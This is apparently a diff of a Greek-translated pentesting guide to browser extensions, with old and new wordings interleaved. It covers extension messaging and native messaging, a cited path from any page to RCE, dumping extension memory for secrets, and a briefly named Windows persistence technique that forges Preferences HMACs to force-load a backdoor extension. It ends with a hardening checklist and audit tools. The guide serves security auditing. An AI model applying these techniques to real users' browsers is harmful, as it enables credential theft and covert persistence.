Μπορείτε επίσης να βρείτε ένα παράδειγμα ενός **DOM based XSS για να συμβιβάσετε μια επέκταση προγράμματος περιήγησης** σε:
{{#ref}}
browext-xss-example.md
{{#endref}}
## Επικοινωνία Content Script **↔︎** Background Script
## Content Script **↔︎** Background Script Communication
Ένα Content Script μπορεί να χρησιμοποιήσει τις συναρτήσεις [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ή** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) για να στείλει ένα **μοναδικό JSON-serializable** μήνυμα.
Ένα Content Script μπορεί να χρησιμοποιήσει τις συναρτήσεις [**runtime.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage) **ή** [**tabs.sendMessage()**](https://developer.chrome.com/docs/extensions/reference/tabs#method-sendMessage) για να στείλει ένα **one-time JSON-serializable** μήνυμα.
Για να χειριστείτε την **απάντηση**, χρησιμοποιήστε την επιστρεφόμενη **Promise**. Αν και, για λόγους συμβατότητας, μπορείτε ακόμα να περάσετε μια **callback** ως τελευταίο επιχείρημα.
Για να χειριστείτε την **απάντηση**, χρησιμοποιήστε το επιστρεφόμενο **Promise**. Παρόλα αυτά, για συμβατότητα με παλαιότερες εκδόσεις, μπορείτε ακόμη να περάσετε ένα **callback** ως τελευταίο όρισμα.
Η αποστολή ενός αιτήματος από ένα **content script** φαίνεται έτσι:
```javascript
@ -496,7 +502,8 @@ const response = await chrome.runtime.sendMessage({ greeting: "hello" })
console.log(response)
})()
```
Αποστολή αιτήματος από την **επέκταση** (συνήθως ένα **background script**). Παράδειγμα για το πώς να στείλετε μήνυμα στο περιεχόμενο του script στην επιλεγμένη καρτέλα:
Αποστολή ενός αιτήματος από το **extension** (συνήθως ένα **background script**).
Παράδειγμα για το πώς να στείλετε μήνυμα στο content script στην selected tab:
```javascript
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
;(async () => {
@ -509,7 +516,7 @@ const response = await chrome.tabs.sendMessage(tab.id, { greeting: "hello" })
console.log(response)
})()
```
Στην **άκρη λήψης**, πρέπει να ρυθμίσετε έναν [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **listener γεγονότων** για να χειριστείτε το μήνυμα. Αυτό φαίνεται το ίδιο από ένα script περιεχομένου ή μια σελίδα επέκτασης.
Στην **πλευρά που λαμβάνει**, πρέπει να ρυθμίσετε έναν [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **event listener** για να χειριστείτε το μήνυμα. Αυτό φαίνεται το ίδιο τόσο από ένα content script όσο και από μια extension page.
```javascript
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
@ -521,15 +528,15 @@ sender.tab
if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
})
```
Στο παραδείγμα που επισημαίνεται, **`sendResponse()`** εκτελέστηκε με συγχρονισμένο τρόπο. Για να τροποποιηθεί ο χειριστής γεγονότος `onMessage` για ασύγχρονη εκτέλεση του `sendResponse()`, είναι επιτακτική ανάγκη να ενσωματωθεί το `return true;`.
Στο προβαλλόμενο παράδειγμα, **`sendResponse()`** εκτελέστηκε συγχρονισμένα. Για να τροποποιηθεί ο χειριστής συμβάντος `onMessage` ώστε το `sendResponse()` να εκτελείται ασύγχρονα, είναι απαραίτητο να συμπεριληφθεί το `return true;`.
Μια σημαντική παράμετρος είναι ότι σε σενάρια όπου πολλές σελίδες είναι ρυθμισμένες να λαμβάνουν γεγονότα `onMessage`, **η πρώτη σελίδα που εκτελεί το `sendResponse()`** για μια συγκεκριμένη εκδήλωση θα είναι η μόνη που θα μπορεί να παραδώσει την απάντηση αποτελεσματικά. Οποιεσδήποτε επόμενες απαντήσεις στην ίδια εκδήλωση δεν θα ληφθούν υπόψη.
Σημαντικό ζήτημα είναι ότι σε σενάρια όπου πολλαπλές σελίδες λαμβάνουν `onMessage` συμβάντα, **η πρώτη σελίδα που θα εκτελέσει το `sendResponse()`** για ένα συγκεκριμένο συμβάν θα είναι η μόνη που θα μπορέσει να παραδώσει την απάντηση αποτελεσματικά. Οποιεσδήποτε επακόλουθες απαντήσεις στο ίδιο συμβάν δεν θα ληφθούν υπόψη.
Κατά την κατασκευή νέων επεκτάσεων, η προτίμηση θα πρέπει να είναι προς τις υποσχέσεις αντί για callbacks. Όσον αφορά τη χρήση callbacks, η συνάρτηση `sendResponse()` θεωρείται έγκυρη μόνο εάν εκτελείται άμεσα μέσα στο συγχρονισμένο πλαίσιο ή εάν ο χειριστής γεγονότος υποδεικνύει μια ασύγχρονη λειτουργία επιστρέφοντας `true`. Εάν κανένας από τους χειριστές δεν επιστρέψει `true` ή εάν η συνάρτηση `sendResponse()` αφαιρεθεί από τη μνήμη (καθαριστεί από τη συλλογή απορριμμάτων), το callback που σχετίζεται με τη συνάρτηση `sendMessage()` θα ενεργοποιηθεί από προεπιλογή.
Κατά τη δημιουργία νέων extensions, η προτίμηση πρέπει να είναι προς promises αντί για callbacks. Όσον αφορά τη χρήση callbacks, η συνάρτηση `sendResponse()` θεωρείται έγκυρη μόνο εάν εκτελείται απευθείας στο συγχρονικό πλαίσιο, ή εάν ο χειριστής συμβάντος δηλώνει ασύγχρονη λειτουργία επιστρέφοντας `true`. Εάν κανένας από τους χειριστές δεν επιστρέψει `true` ή αν η `sendResponse()` αφαιρεθεί από τη μνήμη (garbage-collected), το callback που σχετίζεται με τη `sendMessage()` θα εκτελεστεί από προεπιλογή.
## Native Messaging
Οι επεκτάσεις του προγράμματος περιήγησης επιτρέπουν επίσης την επικοινωνία με **δυαδικά αρχεία στο σύστημα μέσω stdin**. Η εφαρμογή πρέπει να εγκαταστήσει ένα json που να το υποδεικνύει σε ένα json όπως:
Τα browser extensions επιτρέπουν επίσης την επικοινωνία με **binaries in the system via stdin**. Η εφαρμογή πρέπει να εγκαταστήσει ένα json που το δηλώνει σε ένα json σαν:
```json
{
"name": "com.my_company.my_application",
@ -539,14 +546,14 @@ if (request.greeting === "hello") sendResponse({ farewell: "goodbye" })
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
}
```
Όπου το `name` είναι η συμβολοσειρά που περνάται στο [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ή στο [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) για να επικοινωνήσει με την εφαρμογή από τα background scripts της επέκτασης του προγράμματος περιήγησης. Το `path` είναι η διαδρομή προς το δυαδικό αρχείο, υπάρχει μόνο 1 έγκυρος `type` που είναι το stdio (χρησιμοποιήστε stdin και stdout) και οι `allowed_origins` υποδεικνύουν τις επεκτάσεις που μπορούν να έχουν πρόσβαση σε αυτό (και δεν μπορούν να έχουν wildcard).
Όπου το `name` είναι η συμβολοσειρά που δίνεται σε [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ή σε [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) για να επικοινωνήσει με την εφαρμογή από τα background scripts της επέκτασης προγράμματος περιήγησης. Το `path` είναι η διαδρομή προς το binary, υπάρχει μόνο 1 έγκυρο `type` το οποίο είναι stdio (χρησιμοποιεί stdin και stdout) και τα `allowed_origins` δείχνουν ποιες επεκτάσεις μπορούν να έχουν πρόσβαση (και δεν μπορούν να περιέχουν wildcard).
Το Chrome/Chromium θα αναζητήσει αυτό το json σε κάποιες ρυθμίσεις μητρώου των Windows και σε κάποιες διαδρομές σε macOS και Linux (περισσότερες πληροφορίες στις [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
Chrome/Chromium θα ψάξει για αυτό το json στο Windows registry και σε μερικά paths σε macOS και Linux (περισσότερες πληροφορίες στα [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
> [!TIP]
> Η επέκταση του προγράμματος περιήγησης χρειάζεται επίσης την άδεια `nativeMessaing` δηλωμένη για να μπορεί να χρησιμοποιήσει αυτή την επικοινωνία.
> Η επέκταση προγράμματος περιήγησης χρειάζεται επίσης την άδεια `nativeMessaing` δηλωμένη για να μπορεί να χρησιμοποιήσει αυτή την επικοινωνία.
Αυτή είναι η εμφάνιση κάποιου κώδικα background script που στέλνει μηνύματα σε μια εγγενή εφαρμογή:
Έτσι μοιάζει ένας κώδικας background script που στέλνει μηνύματα σε μια native εφαρμογή:
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -556,144 +563,152 @@ console.log("Received " + response)
}
)
```
Σε [**αυτήν την ανάρτηση ιστολογίου**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), προτείνεται ένα ευάλωτο μοτίβο που εκμεταλλεύεται τα εγγενή μηνύματα:
In [**this blog post**](https://spaceraccoon.dev/universal-code-execution-browser-extensions/), προτείνεται ένα ευάλωτο μοτίβο που καταχράται τα native messages:
1. Η επέκταση του προγράμματος περιήγησης έχει ένα μοτίβο wildcard για το περιεχόμενο του script.
2. Το περιεχόμενο του script περνάει μηνύματα `postMessage` στο background script χρησιμοποιώντας `sendMessage`.
3. Το background script περνάει το μήνυμα σε εγγενή εφαρμογή χρησιμοποιώντας `sendNativeMessage`.
4. Η εγγενής εφαρμογή χειρίζεται το μήνυμα επικίνδυνα, οδηγώντας σε εκτέλεση κώδικα.
1. Η επέκταση προγράμματος περιήγησης έχει ένα wildcard pattern για το content script.
2. Το content script προωθεί μηνύματα `postMessage` στο background script χρησιμοποιώντας `sendMessage`.
3. Το background script προωθεί το μήνυμα στην native εφαρμογή χρησιμοποιώντας `sendNativeMessage`.
4. Η native εφαρμογή χειρίζεται το μήνυμα επικίνδυνα, οδηγώντας σε code execution.
Και μέσα σε αυτό, εξηγείται ένα παράδειγμα **μετάβασης από οποιαδήποτε σελίδα σε RCE εκμεταλλευόμενο μια επέκταση προγράμματος περιήγησης**.
Και μέσα σε αυτό εξηγείται ένα παράδειγμα **πώς από οποιαδήποτε σελίδα να επιτευχθεί RCE εκμεταλλευόμενος μια επέκταση προγράμματος περιήγησης**.
## Ευαίσθητες Πληροφορίες στη Μνήμη/Κώδικα/Πρόχειρο
## Ευαίσθητες πληροφορίες στη μνήμη/στον κώδικα/στο πρόχειρο
Εάν μια Επέκταση Προγράμματος Περιήγησης αποθηκεύει **ευαίσθητες πληροφορίες μέσα στη μνήμη της**, αυτές θα μπορούσαν να **εκφορτωθούν** (ιδιαίτερα σε μηχανές Windows) και να **αναζητηθούν** για αυτές τις πληροφορίες.
Αν μια επέκταση προγράμματος περιήγησης αποθηκεύει **ευαίσθητες πληροφορίες στη μνήμη της**, αυτές μπορούν να **εξαχθούν** (ειδικά σε μηχανές Windows) και να **αναζητηθούν** για αυτές τις πληροφορίες.
Επομένως, η μνήμη της Επέκτασης Προγράμματος Περιήγησης **δεν θα πρέπει να θεωρείται ασφαλής** και **ευαίσθητες πληροφορίες** όπως διαπιστευτήρια ή μνημονικές φράσεις **δεν θα πρέπει να αποθηκεύονται**.
Επομένως, η μνήμη της επέκτασης προγράμματος περιήγησης **δεν πρέπει να θεωρείται ασφαλής** και **ευαίσθητες πληροφορίες**, όπως διαπιστευτήρια ή mnemonic phrases, **δεν πρέπει να αποθηκεύονται**.
Φυσικά, **μην βάζετε ευαίσθητες πληροφορίες στον κώδικα**, καθώς θα είναι **δημόσιες**.
Φυσικά, μην βάζετε **ευαίσθητες πληροφορίες στον κώδικα**, καθώς θα είναι **δημόσιες**.
Για να εκφορτώσετε τη μνήμη από τον περιηγητή, μπορείτε να **εκφορτώσετε τη μνήμη της διαδικασίας** ή να πάτε στις **ρυθμίσεις** της επέκτασης του προγράμματος περιήγησης κάνοντας κλικ στο **`Inspect pop-up`** -> Στην ενότητα **`Memory`** -> **`Take a snapshot`** και **`CTRL+F`** για να αναζητήσετε μέσα στο στιγμιότυπο ευαίσθητες πληροφορίες.
Για να κάνετε dump τη μνήμη από το πρόγραμμα περιήγησης μπορείτε να **εξαγάγετε τη μνήμη της διεργασίας** ή να μεταβείτε στις **ρυθμίσεις** της επέκτασης, κάντε κλικ στο **`Inspect pop-up`** -> στην ενότητα **`Memory`** -> **`Take a snaphost`** και **`CTRL+F`** για να αναζητήσετε μέσα στο snapshot ευαίσθητες πληροφορίες.
Επιπλέον, οι πολύ ευαίσθητες πληροφορίες όπως μνημονικά κλειδιά ή κωδικοί πρόσβασης **δεν θα πρέπει να επιτρέπεται να αντιγράφονται στο πρόχειρο** (ή τουλάχιστον να αφαιρούνται από το πρόχειρο σε λίγα δευτερόλεπτα) γιατί τότε οι διαδικασίες που παρακολουθούν το πρόχειρο θα μπορούν να τις αποκτήσουν.
Επιπλέον, εξαιρετικά ευαίσθητες πληροφορίες όπως mnemonic keys ή passwords **δεν θα πρέπει να επιτρέπεται να αντιγράφονται στο πρόχειρο** (ή τουλάχιστον να αφαιρούνται από το πρόχειρο μετά από λίγα δευτερόλεπτα) διότι τότε διεργασίες που παρακολουθούν το πρόχειρο θα μπορούν να τις αποκτήσουν.
## Φόρτωση μιας Επέκτασης στον Περιηγητή
## Φόρτωση Επέκτασης στο Πρόγραμμα Περιήγησης
1. **Κατεβάστε** την Επέκταση Προγράμματος Περιήγησης & αποσυμπιέστε την
2. Πηγαίνετε στο **`chrome://extensions/`** και **ενεργοποιήστε** τη λειτουργία `Developer Mode`
1. **Κατεβάστε** την επέκταση προγράμματος περιήγησης και αποσυμπιέστε την
2. Πηγαίνετε στο **`chrome://extensions/`** και **ενεργοποιήστε** το `Developer Mode`
3. Κάντε κλικ στο κουμπί **`Load unpacked`**
Στον **Firefox** πηγαίνετε στο **`about:debugging#/runtime/this-firefox`** και κάνετε κλικ στο κουμπί **`Load Temporary Add-on`**.
Στον **Firefox** πηγαίνετε στο **`about:debugging#/runtime/this-firefox`** και κάντε κλικ στο κουμπί **`Load Temporary Add-on`**.
## Λήψη του πηγαίου κώδικα από το κατάστημα
## Απόκτηση του source code από το store
Ο πηγαίος κώδικας μιας επέκτασης Chrome μπορεί να αποκτηθεί μέσω διαφόρων μεθόδων. Παρακάτω παρατίθενται λεπτομερείς εξηγήσεις και οδηγίες για κάθε επιλογή.
Ο πηγαίος κώδικας μιας επέκτασης Chrome μπορεί να αποκτηθεί με διάφορες μεθόδους. Παρακάτω υπάρχουν λεπτομερείς εξηγήσεις και οδηγίες για κάθε επιλογή.
### Λήψη Επέκτασης ως ZIP μέσω Γραμμής Εντολών
### Λήψη επέκτασης ως ZIP μέσω γραμμής εντολών
Ο πηγαίος κώδικας μιας επέκτασης Chrome μπορεί να ληφθεί ως αρχείο ZIP χρησιμοποιώντας τη γραμμή εντολών. Αυτό περιλαμβάνει τη χρήση του `curl` για να αποκτήσετε το αρχείο ZIP από μια συγκεκριμένη διεύθυνση URL και στη συνέχεια την εξαγωγή των περιεχομένων του αρχείου ZIP σε έναν φάκελο. Ακολουθούν τα βήματα:
Ο πηγαίος κώδικας μιας επέκτασης Chrome μπορεί να ληφθεί ως αρχείο ZIP χρησιμοποιώντας τη γραμμή εντολών. Αυτό περιλαμβάνει τη χρήση του `curl` για να κατεβάσετε το αρχείο ZIP από μια συγκεκριμένη URL και στη συνέχεια την εξαγωγή του περιεχομένου του ZIP σε έναν κατάλογο. Εδώ είναι τα βήματα:
1. Αντικαταστήστε το `"extension_id"` με το πραγματικό ID της επέκτασης.
2. Εκτελέστε τις παρακάτω εντολές:
2. Εκτελέστε τις ακόλουθες εντολές:
```bash
extension_id=your_extension_id # Replace with the actual extension ID
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
unzip -d "$extension_id-source" "$extension_id.zip"
```
### Χρησιμοποιήστε την ιστοσελίδα CRX Viewer
### Χρησιμοποιήστε τον ιστότοπο CRX Viewer
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
### Χρησιμοποιήστε την επέκταση CRX Viewer
Μια άλλη βολική μέθοδος είναι η χρήση του Chrome Extension Source Viewer, το οποίο είναι ένα ανοιχτού κώδικα έργο. Μπορεί να εγκατασταθεί από το [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Ο πηγαίος κώδικας του viewer είναι διαθέσιμος στο [GitHub repository](https://github.com/Rob--W/crxviewer).
Μια άλλη βολική μέθοδος είναι η χρήση του Chrome Extension Source Viewer, που είναι ένα έργο ανοικτού κώδικα. Μπορεί να εγκατασταθεί από το [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). Ο πηγαίος κώδικας του viewer είναι διαθέσιμος στο [GitHub repository](https://github.com/Rob--W/crxviewer).
### Δείτε τον πηγαίο κώδικα της τοπικά εγκατεστημένης επέκτασης
### Προβολή πηγαίου κώδικα τοπικά εγκατεστημένης επέκτασης
Οι επεκτάσεις Chrome που έχουν εγκατασταθεί τοπικά μπορούν επίσης να επιθεωρηθούν. Να πώς:
Οι επεκτάσεις Chrome που είναι εγκατεστημένες τοπικά μπορούν επίσης να επιθεωρηθούν. Να πώς:
1. Αποκτήστε πρόσβαση στον τοπικό φάκελο προφίλ Chrome επισκεπτόμενοι το `chrome://version/` και εντοπίζοντας το πεδίο "Profile Path".
2. Μεταβείτε στον υποφάκελο `Extensions/` εντός του φακέλου προφίλ.
3. Αυτός ο φάκελος περιέχει όλες τις εγκατεστημένες επεκτάσεις, συνήθως με τον πηγαίο κώδικα τους σε αναγνώσιμη μορφή.
1. Πρόσβαση στον τοπικό φάκελο προφίλ του Chrome επισκεπτόμενοι `chrome://version/` και εντοπίζοντας το πεδίο "Profile Path".
2. Πλοηγηθείτε στο υποφάκελο `Extensions/` μέσα στον φάκελο προφίλ.
3. Αυτός ο φάκελος περιέχει όλες τις εγκατεστημένες επεκτάσεις, συνήθως με τον πηγαίο κώδικα σε αναγνώσιμη μορφή.
Για να εντοπίσετε τις επεκτάσεις, μπορείτε να αντιστοιχίσετε τα IDs τους σε ονόματα:
Για να αναγνωρίσετε επεκτάσεις, μπορείτε να αντιστοιχίσετε τα IDs τους σε ονόματα:
- Ενεργοποιήστε τη Λειτουργία Προγραμματιστή στη σελίδα `about:extensions` για να δείτε τα IDs κάθε επέκτασης.
- Μέσα σε κάθε φάκελο επέκτασης, το αρχείο `manifest.json` περιέχει ένα αναγνώσιμο πεδίο `name`, βοηθώντας σας να εντοπίσετε την επέκταση.
- Ενεργοποιήστε το Developer Mode στη σελίδα `about:extensions` για να δείτε τα IDs κάθε επέκτασης.
- Μέσα στον φάκελο κάθε επέκτασης, το αρχείο `manifest.json` περιέχει ένα αναγνώσιμο πεδίο `name`, που βοηθά στην αναγνώριση της επέκτασης.
### Χρησιμοποιήστε έναν Αρχειοθέτη ή Αποσυμπιεστή
### Χρησιμοποιήστε ένα εργαλείο αρχειοθέτησης ή αποσυμπίεσης
Πηγαίνετε στο Chrome Web Store και κατεβάστε την επέκταση. Το αρχείο θα έχει κατάληξη `.crx`. Αλλάξτε την κατάληξη του αρχείου από `.crx` σε `.zip`. Χρησιμοποιήστε οποιονδήποτε αρχειοθέτη (όπως WinRAR, 7-Zip, κ.λπ.) για να εξαγάγετε τα περιεχόμενα του αρχείου ZIP.
Μεταβείτε στο Chrome Web Store και κατεβάστε την επέκταση. Το αρχείο θα έχει κατάληξη `.crx`. Αλλάξτε την κατάληξη από `.crx` σε `.zip`. Χρησιμοποιήστε οποιοδήποτε file archiver (π.χ. WinRAR, 7-Zip, κ.λπ.) για να εξαγάγετε τα περιεχόμενα του αρχείου ZIP.
### Χρησιμοποιήστε τη Λειτουργία Προγραμματιστή στο Chrome
### Χρησιμοποιήστε το Developer Mode στο Chrome
Ανοίξτε το Chrome και πηγαίνετε στο `chrome://extensions/`. Ενεργοποιήστε τη "Λειτουργία Προγραμματιστή" στην επάνω δεξιά γωνία. Κάντε κλικ στο "Φόρτωση αποσυμπιεσμένης επέκτασης...". Μεταβείτε στον φάκελο της επέκτασής σας. Αυτό δεν κατεβάζει τον πηγαίο κώδικα, αλλά είναι χρήσιμο για την προβολή και την τροποποίηση του κώδικα μιας ήδη κατεβασμένης ή αναπτυγμένης επέκτασης.
Ανοίξτε το Chrome και πηγαίνετε στο `chrome://extensions/`. Ενεργοποιήστε το "Developer mode" επάνω δεξιά. Κάντε κλικ στο "Load unpacked extension...". Πλοηγηθείτε στον κατάλογο της επέκτασής σας. Αυτό δεν κατεβάζει τον πηγαίο κώδικα, αλλά είναι χρήσιμο για την προβολή και την τροποποίηση του κώδικα μιας ήδη κατεβασμένης ή αναπτυγμένης επέκτασης.
## Σύνολο δεδομένων manifest επεκτάσεων Chrome
Για να προσπαθήσετε να εντοπίσετε ευάλωτες επεκτάσεις προγράμματος περιήγησης, μπορείτε να χρησιμοποιήσετε το [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) και να ελέγξετε τα αρχεία manifest τους για πιθανά σημάδια ευαλωτότητας. Για παράδειγμα, για να ελέγξετε επεκτάσεις με περισσότερους από 25000 χρήστες, `content_scripts` και την άδεια `nativeMessaing`:
Για να προσπαθήσετε να εντοπίσετε ευάλωτες επεκτάσεις browser μπορείτε να χρησιμοποιήσετε το[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset) και να ελέγξετε τα αρχεία manifest για πιθανά ευάλωτα σημάδια. Για παράδειγμα, για να ελέγξετε επεκτάσεις με περισσότερους από 25000 χρήστες, `content_scripts` και την άδεια `nativeMessaing`:
```bash
# Query example from https://spaceraccoon.dev/universal-code-execution-browser-extensions/
node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')"
```
## Λίστα Ελέγχου Ασφαλείας
## Post-exploitation: Forced extension load & persistence (Windows)
Αν και οι Επεκτάσεις Περιηγητή έχουν μια **περιορισμένη επιφάνεια επίθεσης**, μερικές από αυτές μπορεί να περιέχουν **ευπάθειες** ή **πιθανές βελτιώσεις ασφάλειας**. Οι παρακάτω είναι οι πιο κοινές:
Stealthy τεχνική για να backdoor το Chromium με άμεση επεξεργασία των per-user Preferences και πλαστογράφηση έγκυρων HMACs, προκαλώντας τον browser να αποδεχτεί και να ενεργοποιήσει ένα αυθαίρετο unpacked extension χωρίς prompts ή flags.
- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο τις ζητούμενες **`permissions`**
- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο τις **`host_permissions`**
{{#ref}}
forced-extension-load-preferences-mac-forgery-windows.md
{{#endref}}
## Λίστα ελέγχου ασφάλειας
Αν και οι επεκτάσεις προγράμματος περιήγησης έχουν μια **περιορισμένη επιφάνεια επίθεσης**, κάποιες από αυτές μπορεί να περιέχουν **ευπάθειες** ή **πιθανές βελτιώσεις σκληροποίησης**. Οι παρακάτω είναι οι πιο κοινές:
- [ ] **Περιορίστε** όσο το δυνατό περισσότερο τα ζητούμενα **`permissions`**
- [ ] **Περιορίστε** όσο το δυνατό περισσότερο τα **`host_permissions`**
- [ ] Χρησιμοποιήστε μια **ισχυρή** **`content_security_policy`**
- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο το **`externally_connectable`**, αν δεν είναι απαραίτητο και δυνατό, μην το αφήνετε προεπιλεγμένο, καθορίστε **`{}`**
- [ ] Αν αναφέρεται **URL ευάλωτο σε XSS ή σε κατάληψη**, ένας επιτιθέμενος θα μπορεί να **στέλνει μηνύματα στα background scripts απευθείας**. Πολύ ισχυρή παράκαμψη.
- [ ] **Περιορίστε** όσο το δυνατόν περισσότερο τους **`web_accessible_resources`**, ακόμα και κενό αν είναι δυνατό.
- [ ] Αν οι **`web_accessible_resources`** δεν είναι κανένα, ελέγξτε για [**ClickJacking**](browext-clickjacking.md)
- [ ] Αν υπάρχει οποιαδήποτε **επικοινωνία** από την **επέκταση** προς την **ιστοσελίδα**, [**ελέγξτε για XSS**](browext-xss-example.md) **ευπάθειες** που προκαλούνται στην επικοινωνία.
- [ ] Αν χρησιμοποιούνται Post Messages, ελέγξτε για [**Post Message ευπάθειες**](../postmessage-vulnerabilities/index.html)**.**
- [ ] Αν το **Content Script έχει πρόσβαση σε λεπτομέρειες DOM**, ελέγξτε ότι **δεν εισάγουν XSS** αν **τροποποιηθούν** από τον ιστό
- [ ] Δώστε ιδιαίτερη έμφαση αν αυτή η επικοινωνία εμπλέκεται επίσης στην **επικοινωνία Content Script -> Background script**
- [ ] Αν το background script επικοινωνεί μέσω **native messaging**, ελέγξτε ότι η επικοινωνία είναι ασφαλής και καθαρισμένη
- [ ] **Ευαίσθητες πληροφορίες δεν θα πρέπει να αποθηκεύονται** μέσα στον κώδικα της Επέκτασης Περιηγητή
- [ ] **Ευαίσθητες πληροφορίες δεν θα πρέπει να αποθηκεύονται** μέσα στη μνήμη της Επέκτασης Περιηγητή
- [ ] **Ευαίσθητες πληροφορίες δεν θα πρέπει να αποθηκεύονται** μέσα στο **σύστημα αρχείων χωρίς προστασία**
- [ ] **Περιορίστε** όσο το δυνατό περισσότερο το **`externally_connectable`**, αν δεν απαιτείται και είναι δυνατόν, μην το αφήνετε από προεπιλογή, καθορίστε **`{}`**
- [ ] Αν εδώ αναφέρεται URL που είναι ευάλωτο σε XSS ή takeover, ένας attacker θα μπορέσει να **στέλνει μηνύματα στα background scripts απευθείας**. Πολύ ισχυρή παράκαμψη.
- [ ] **Περιορίστε** όσο το δυνατό περισσότερο τα **`web_accessible_resources`**, ακόμα και κενά αν είναι δυνατόν.
- [ ] Αν τα **`web_accessible_resources`** δεν είναι none, ελέγξτε για [**ClickJacking**](browext-clickjacking.md)
- [ ] Αν οποιαδήποτε **επικοινωνία** γίνεται από την **επέκταση** προς τη **σελίδα web**, [**ελέγξτε για XSS**](browext-xss-example.md) **ευπάθειες** που προκαλούνται στην επικοινωνία.
- [ ] Αν χρησιμοποιούνται Post Messages, ελέγξτε για [**Post Message vulnerabilities**](../postmessage-vulnerabilities/index.html)**.**
- [ ] Αν το Content Script έχει πρόσβαση σε λεπτομέρειες του DOM, ελέγξτε ότι **δεν εισάγουν XSS** αν τροποποιηθούν από το web
- [ ] Δώστε ειδική έμφαση αν αυτή η επικοινωνία εμπλέκεται επίσης στην **Content Script -> Background script communication**
- [ ] Αν το background script επικοινωνεί μέσω **native messaging** ελέγξτε ότι η επικοινωνία είναι ασφαλής και γίνεται sanitization
- [ ] **Ευαίσθητες πληροφορίες δεν πρέπει να αποθηκεύονται** μέσα στον κώδικα της επέκτασης
- [ ] **Ευαίσθητες πληροφορίες δεν πρέπει να αποθηκεύονται** στη μνήμη της επέκτασης
- [ ] **Ευαίσθητες πληροφορίες δεν πρέπει να αποθηκεύονται** στο **file system unprotected**
## Κίνδυνοι Επέκτασης Περιηγητή
## Κίνδυνοι επεκτάσεων προγράμματος περιήγησης
- Η εφαρμογή [https://crxaminer.tech/](https://crxaminer.tech/) αναλύει κάποια δεδομένα όπως τις άδειες που ζητά η επέκταση περιηγητή για να δώσει ένα επίπεδο κινδύνου χρήσης της επέκτασης περιηγητή.
- Η εφαρμογή [https://crxaminer.tech/](https://crxaminer.tech/) αναλύει κάποια δεδομένα όπως τα permissions που ζητάει μια επέκταση για να δώσει ένα επίπεδο κινδύνου χρήσης της επέκτασης.
## Εργαλεία
### [**Tarnish**](https://thehackerblog.com/tarnish/)
- Τραβά οποιαδήποτε επέκταση Chrome από έναν παρεχόμενο σύνδεσμο του Chrome webstore.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **viewer**: απλά εμφανίζει μια JSON-μορφοποιημένη έκδοση του manifest της επέκτασης.
- **Ανάλυση Δακτυλικών Αποτυπωμάτων**: Ανίχνευση [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) και αυτόματη δημιουργία JavaScript δακτυλικών αποτυπωμάτων για επεκτάσεις Chrome.
- **Πιθανή Ανάλυση Clickjacking**: Ανίχνευση HTML σελίδων επέκτασης με τη ρύθμιση [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources). Αυτές είναι πιθανώς ευάλωτες σε clickjacking ανάλογα με τον σκοπό των σελίδων.
- **Viewer προειδοποιήσεων άδειας**: που δείχνει μια λίστα με όλες τις προειδοποιήσεις άδειας του Chrome που θα εμφανιστούν όταν ένας χρήστης προσπαθήσει να εγκαταστήσει την επέκταση.
- **Επικίνδυνες Λειτουργίες**: δείχνει την τοποθεσία επικίνδυνων λειτουργιών που θα μπορούσαν να εκμεταλλευτούν από έναν επιτιθέμενο (π.χ. λειτουργίες όπως innerHTML, chrome.tabs.executeScript).
- **Σημεία Εισόδου**: δείχνει πού η επέκταση δέχεται είσοδο από χρήστη/εξωτερική είσοδο. Αυτό είναι χρήσιμο για την κατανόηση της επιφάνειας της επέκτασης και την αναζήτηση πιθανών σημείων για αποστολή κακόβουλα διαμορφωμένων δεδομένων στην επέκταση.
- Και οι δύο σαρωτές Επικίνδυνων Λειτουργιών και Σημείων Εισόδου έχουν τα εξής για τις ειδοποιήσεις τους:
- Σχετικό απόσπασμα κώδικα και γραμμή που προκάλεσε την ειδοποίηση.
- Περιγραφή του ζητήματος.
- Ένα κουμπί “View File” για να δείτε το πλήρες αρχείο πηγής που περιέχει τον κώδικα.
- Η διαδρομή του ειδοποιημένου αρχείου.
